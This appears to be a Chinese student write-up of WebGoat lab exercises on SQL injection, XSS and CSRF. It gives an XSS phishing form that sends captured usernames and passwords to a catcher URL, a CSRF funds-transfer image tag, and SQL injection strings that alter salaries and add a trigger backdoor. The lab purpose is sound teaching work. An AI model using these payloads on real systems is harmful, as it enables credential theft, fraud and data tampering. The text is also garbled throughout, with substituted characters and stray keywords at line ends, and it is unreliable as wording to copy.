SQL注入产生的缘由,和栈溢出、XSS等不少其余的攻击方法相似,就是未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。针对于SQL注入,则是用户提交的数据,被数据库系统编译而产生了开发者预期以外的动做。也就是,SQL注入是用户输入的数据,在拼接SQL语句的过程当中,超越了数据自己,成为了SQL语句查询逻辑的一部分,而后这样被拼接出来的SQL语句被数据库执行,产生了开发者预期以外的动做。javascript
从根本上防止上述类型攻击的手段,仍是避免数据变成代码被执行,时刻分清代码和数据的界限。而具体到SQL注入来讲,被执行的恶意代码是经过数据库的SQL解释引擎编译获得的,因此只要避免用户输入的数据被数据库系统编译就能够了。java
XSS攻击是Web攻击中最多见的攻击方法之一,它是经过对网页注入可执行代码且成功地被浏览器
执行,达到攻击的目的,造成了一次有效XSS攻击,一旦攻击成功,它能够获取用户的联系人列
表,而后向联系人发送虚假诈骗信息,能够删除用户的日志等等,有时候还和其余攻击方式同时实
施好比SQL注入攻击服务器和数据库、Click劫持、相对连接劫持等实施钓鱼,它带来的危害是巨
大的,是web安全的头号大敌web
过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出sql
CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击同样,存在巨大的危害性,你能够这样来理解:
攻击者盗用了a的身份,以a的名义发送恶意请求,对服务器来讲这个请求是彻底合法的,可是却完成了攻击者所指望的一个操做,好比以a的名义发送邮件、发消息,盗取a的帐号,添加系统管理员,甚至于购买商品、虚拟货币转帐等。数据库
目前防护 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。django
localhost:8080/WebGoat
,进入WebGoat。本题要在搜索框中输入XSS攻击代码,利用XSS能够在已存在的页面中进一步添加元素的特色。咱们先建立一个form,让受害人在咱们建立的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,而且将这些信息发送给http://localhost:8080/那一段,完整的XSS攻击代码以下:浏览器
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
<script>alert("you have been died");</script>
,而后提交后就蹦出来代码了<script>alert("lalala");</script>
,就会弹出对话框:存储型XSS,持久化,代码是存储在服务器中的,如在我的信息或发表文章等地方,加入代码,若是没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易形成蠕虫,盗窃cookie等。安全
反射型XSS,非持久化,须要欺骗用户本身去点击连接才能触发XSS代码(服务器中没有这样的页面和内容),通常容易出如今搜索页面。
点击弹出本身的在该网站的cookie:服务器
<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>
,其中Screen和menu在当前页面的右边Parameters进行查看:localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=100进入确认转帐请求页面
localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM
,成功转走了100元:or 1=1
:' or 1=1 --
进行SQL注入,登陆失败:先以用户名Larry登陆,登陆以后看到浏览员工信息的按钮是ViewProfile:cookie
在网页代码中分析这个按钮,发现这个地方是以员工ID做为索引传递参数的,咱们要达到经过Larry来浏览老板帐户信息的目的,老板的工资都应该是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个:
101; update employee set salary=200000
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155202@qq.com' WHERE userid = NEW.userid
zx%0d%0aLogin Succeeded for username: admin
,其中%0d是回车,%0a是换行符:网络攻防课程结束了,这九次实验给我最大的体会就是工欲善其事必先利其器这句话。只有把事先的准备作好了,加上耐心细致的操做,才能作好实验。